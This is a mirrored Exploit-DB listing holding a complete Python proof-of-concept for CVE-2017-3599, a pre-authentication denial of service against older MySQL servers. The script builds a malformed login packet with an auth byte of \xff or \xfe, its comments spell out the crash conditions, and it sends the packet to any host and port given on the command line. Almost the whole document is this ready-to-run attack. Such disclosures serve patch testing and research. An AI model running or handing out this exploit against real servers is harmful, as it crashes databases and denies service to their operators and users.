MySQL < 5.6.35 / < 5.7.17 - Integer Overflow

  • 作者: Rodrigo Marcos
    日期: 2017-05-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41954/
  • '''
    # Source: https://raw.githubusercontent.com/SECFORCE/CVE-2017-3599/master/cve-2017-3599_poc.py
    # Exploit Title: Remote MySQL DOS (Integer Overflow)
    # Google Dork: N/A
    # Date: 13th April 2017
    # Exploit Author: Rodrigo Marcos
    # Vendor Homepage: https://www.mysql.com/
    # Software Link: https://www.mysql.com/downloads/
    # Version: 5.6.35 and below / 5.7.17 and below
    # Tested on: N/A
    # CVE : CVE-2017-3599
    '''
    
    import socket 
    import sys
    from struct import pack
    
    '''
    CVE-2017-3599 Proof of Concept exploit code.
    
    https://www.secforce.com/blog/2017/04/cve-2017-3599-pre-auth-mysql-remote-dos/
    
    Rodrigo Marcos
    
    '''
    
    if len(sys.argv)<2:
    
    	print "Usage: python " + sys.argv[0] + " host [port]"
    	exit(0)
    
    else:
    	HOST = sys.argv[1]
    
    	if len(sys.argv)>2:
    		PORT = int(sys.argv[2]) # Yes, no error checking... living on the wild side!
    	else:
    		PORT = 3306
    
    print "[+] Creating packet..."
    
    '''
    3 bytes		Packet lenth
    1 bytes 	Packet number
    
    Login request:
    
    Packet format (when the server is 4.1 or newer):
    
    Bytes Content
    ----- ----
    4 client capabilities
    4 max packet size
    1 charset number
    23reserved (always 0)
    n user name, \0-terminated
    n plugin auth data (e.g. scramble), length encoded
    n database name, \0-terminated
    (if CLIENT_CONNECT_WITH_DB is set in the capabilities)
    n client auth plugin name - \0-terminated string,
    (if CLIENT_PLUGIN_AUTH is set in the capabilities)
    
    '''
    
    # packet_len = '\x64\x00\x00'
    
    packet_num = '\x01'
    
    #Login request packet
    packet_cap = '\x85\xa2\xbf\x01'		# client capabilities (default)
    packet_max = '\x00\x00\x00\x01'		# max packet size (default)
    packet_cset = '\x21'				# charset (default)
    p_reserved = '\x00' * 23 			# 23 bytes reserved with nulls (default)
    packet_usr ='test\x00' 			# username null terminated (default)
    
    packet_auth= '\xff'			# both \xff and \xfe crash the server
    
    '''
    Conditions to crash:
    
    1 - packet_auth must start with \xff or \xfe
    2 - packet_auth must be shorter than 8 chars
    
    The expected value is the password, which could be of two different formats
    (null terminated or length encoded) depending on the client functionality.
    '''
    
    packet = packet_cap + packet_max + packet_cset + p_reserved + packet_usr + packet_auth 
    packet_len = pack('i',len(packet))[:3]
    
    request = packet_len + packet_num + packet
    
    print "[+] Connecting to host..."
    try:
    	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    	s.connect((HOST, PORT))
    	print "[+] Connected."
    
    except:
    	print "[+] Unable to connect to host " + HOST + " on port " + str(PORT) + "."	
    	s.close()
    	print "[+] Exiting."
    	exit(0)
    
    print "[+] Receiving greeting from remote host..."
    data = s.recv(1024)
    print "[+] Done."
    
    print "[+] Sending our payload..."
    s.send(request)
    print "[+] Done."
    #print "Our data: %r" % request
    
    s.close()